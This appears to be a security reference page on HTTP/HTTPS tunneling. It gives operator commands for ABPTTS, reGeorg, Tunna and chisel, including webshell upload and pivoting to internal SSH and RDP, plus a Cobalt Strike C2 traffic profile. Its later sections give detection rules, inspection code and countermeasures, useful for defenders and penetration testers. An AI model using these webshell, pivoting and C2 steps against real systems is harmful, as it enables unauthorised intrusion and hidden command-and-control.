http/https tunneling
on this page
http/https tunneling exploits the ubiquity of web traffic to establish covert channels. these techniques wrap arbitrary tcp traffic in http requests and responses, bypassing firewalls that allow web traffic.
technical description
http tunneling works through several mechanisms:
- http connect method: standard proxy tunneling for https
- request/response smuggling: data in headers, body, or parameters
- webshell relays: server-side scripts forwarding traffic
- long polling: maintaining persistent connections
https adds tls encryption, making content inspection impossible without ssl interception.
implementation: abptts
overview
abptts (a black path toward the sun) by ncc group (https://github.com/nccgroup/abptts):
- tunnels tcp over http/https
- supports multiple simultaneous connections
- authentication and encryption
- works with aspx, jsp, and php webshells
installation
# clone repository
git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS
# python client
pip install -r requirements.txt
webshell deployment
deploy appropriate webshell to target:
abptts.aspx
for iis/.netabptts.jsp
for tomcat/javaabptts.php
for apache/php
# example aspx deployment
curl -X POST http://target.com/upload.aspx \
-F "file=@abptts.aspx"
client usage
# basic connection
python abptts.py -c webshell.aspx -u http://target.com/webshell.aspx
# forward local port to remote service
python abptts.py -c webshell.aspx \
-u http://target.com/webshell.aspx \
-f 127.0.0.1:8080:internal.target:22
# with authentication
python abptts.py -c webshell.aspx \
-u http://target.com/webshell.aspx \
-A user:password
# multiple forwards
python abptts.py -c webshell.aspx \
-u http://target.com/webshell.aspx \
-f 127.0.0.1:2222:10.0.0.5:22 \
-f 127.0.0.1:3389:10.0.0.5:3389
implementation: regeorg
overview
regeorg by sensepost (https://github.com/sensepost/regeorg):
- creates socks4/5 proxy through webshell
- supports aspx, ashx, jsp, php
- handles multiple connections
- widely used in penetration testing
setup
# clone repository
git clone https://github.com/sensepost/reGeorg.git
cd reGeorg
# upload tunnel webshell (e.g., tunnel.jsp)
# then establish socks proxy
python reGeorgSocksProxy.py -p 8888 -u http://target.com/tunnel.jsp
usage with proxychains
# configure proxychains
echo "socks4 127.0.0.1 8888" >> /etc/proxychains.conf
# use any tool through tunnel
proxychains4 nmap -sT internal.target
proxychains4 ssh user@internal.target
proxychains4 rdesktop internal.target
implementation: tunna
overview
tunna by secforce (https://github.com/secforce/tunna):
- python-based http tunnel
- supports multiple webshell languages
- configurable buffer sizes
- built-in compression
configuration
# tunna configuration
python proxy.py -h
# -u URL of webshell
# -l local port
# -r remote host
# -p remote port
# -v verbose mode
example usage
# forward rdp through http tunnel
python proxy.py \
-u http://target.com/conn.aspx \
-l 3389 \
-r 10.0.0.10 \
-p 3389 \
-v
# connect to forwarded service
rdesktop 127.0.0.1:3389
http connect method
standard proxy tunneling
import socket
import ssl
# establish connect tunnel
def http_connect_tunnel(proxy_host, proxy_port, target_host, target_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((proxy_host, proxy_port))
# send connect request
connect_req = f"CONNECT {target_host}:{target_port} HTTP/1.1\r\n"
connect_req += f"Host: {target_host}:{target_port}\r\n"
connect_req += "\r\n"
sock.send(connect_req.encode())
# read response
response = sock.recv(4096)
if b"200 Connection established" in response:
return sock
return None
curl through proxy
# http connect through proxy
curl -x proxy:8080 https://target.com
# with authentication
curl -x user:pass@proxy:8080 https://target.com
traffic characteristics
http request patterns
POST /webshell.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 1024
data=BASE64_ENCODED_TCP_DATA&seq=123&ack=456
response encoding
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 2048
<html><!--BASE64_ENCODED_RESPONSE--></html>
detection methods
behavioral indicators
- high frequency post requests to single url
- consistent request/response sizes
- unusual user-agent strings
- long connection durations
- base64 encoded parameters
traffic analysis
def detect_http_tunnel(requests):
url_counts = {}
for req in requests:
if req['method'] == 'POST':
url = req['url']
url_counts[url] = url_counts.get(url, 0) + 1
# check for suspicious patterns
if url_counts[url] > 100: # high frequency
if 'base64' in req['body'].lower():
return f"possible tunnel: {url}"
return None
detection rules
# suricata rule
alert http any any -> any any (
msg:"possible http tunnel - frequent posts";
content:"POST"; http_method;
threshold: type both, track by_src, count 50, seconds 60;
sid:1000006;
)
# waf rule pattern
SecRule REQUEST_METHOD "POST" \
"id:1001,\
phase:2,\
chain,\
t:none,\
log,\
msg:'Possible HTTP Tunnel',\
SecRule REQUEST_HEADERS:Content-Type "@contains application/x-www-form-urlencoded" \
"chain,\
SecRule &ARGS:data "@ge 1" \
"setvar:ip.tunnel_score=+1"
countermeasures
proxy restrictions
# nginx configuration
location / {
# limit post size
client_max_body_size 1m;
# rate limiting
limit_req zone=post_limit burst=10;
# block suspicious paths
location ~* \.(aspx|jsp|php)$ {
if ($request_method = POST) {
return 403;
}
}
}
content inspection
# deep packet inspection
def inspect_http_payload(request, response):
# check for tunneling signatures
signatures = [
b'ABPTTS',
b'reGeorg',
b'Tunna',
b'base64:',
b'cmd=',
b'shell='
]
for sig in signatures:
if sig in request.body or sig in response.body:
return "blocked"
# entropy check for encoded data
if calculate_entropy(request.body) > 7.0:
return "suspicious"
return "allowed"
performance characteristics
bandwidth
- throughput: 60-80% of raw tcp
- overhead: 20-40% from http headers
- latency: adds 20-100ms per round trip
optimization
# chunked transfer encoding
def send_chunked(socket, data):
chunk_size = 8192
for i in range(0, len(data), chunk_size):
chunk = data[i:i+chunk_size]
socket.send(f"{len(chunk):X}\r\n".encode())
socket.send(chunk)
socket.send(b"\r\n")
socket.send(b"0\r\n\r\n") # end chunk
real-world usage
apt group deployment
- apt28: custom http tunnels for c2
- lazarus: webshell-based tunneling
- apt32: http/https for data exfiltration
- carbanak: http tunneling in pos attacks
cobalt strike integration
# malleable c2 profile
http-get {
set uri "/api/v1/updates /news/feed /about/contact";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Language" "en-US,en;q=0.9";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Cache-Control" "no-cache";
output {
base64;
prepend "<!DOCTYPE html><html><body>";
append "</body></html>";
print;
}
}
}
advantages and limitations
advantages
- http/https universally allowed
- blends with legitimate traffic
- tls encryption prevents inspection
- works through proxies
- multiple implementation options
limitations
- higher overhead than raw tcp
- request/response model adds latency
- large data transfers suspicious
- webshells may be detected
- requires server-side component
testing setup
local environment
# setup test webserver
python3 -m http.server 8000
# deploy webshell
cp tunnel.php /var/www/html/
# start tunnel client
python abptts.py -c tunnel.php -u http://localhost/tunnel.php
# test connection
nc -v 127.0.0.1 8080
# monitor traffic
tcpdump -i lo -w http_tunnel.pcap 'port 8000 or port 80'
detection testing
# analyze pcap for tunneling
from scapy.all import *
packets = rdpcap('http_tunnel.pcap')
http_requests = []
for p in packets:
if p.haslayer(TCP) and p[TCP].dport == 80:
if b'POST' in bytes(p[TCP].payload)[:4]:
http_requests.append(p)
print(f"post requests: {len(http_requests)}")
print(f"average size: {sum(len(p) for p in http_requests) / len(http_requests)}")
alternative implementations
chisel
golang http tunnel:
# server
chisel server --reverse
# client
chisel client server_ip R:8080:localhost:80
bore
rust implementation:
# server
bore server --secret password
# client
bore local 3000 --to bore.pub --secret password
references
- “http tunneling techniques” - ncc group research
- “bypassing firewalls with http tunneling” - sans reading room
- “webshell tunneling” - fireeye threat research
- abptts documentation: https://github.com/nccgroup/abptts
- regeorg project: https://github.com/sensepost/regeorg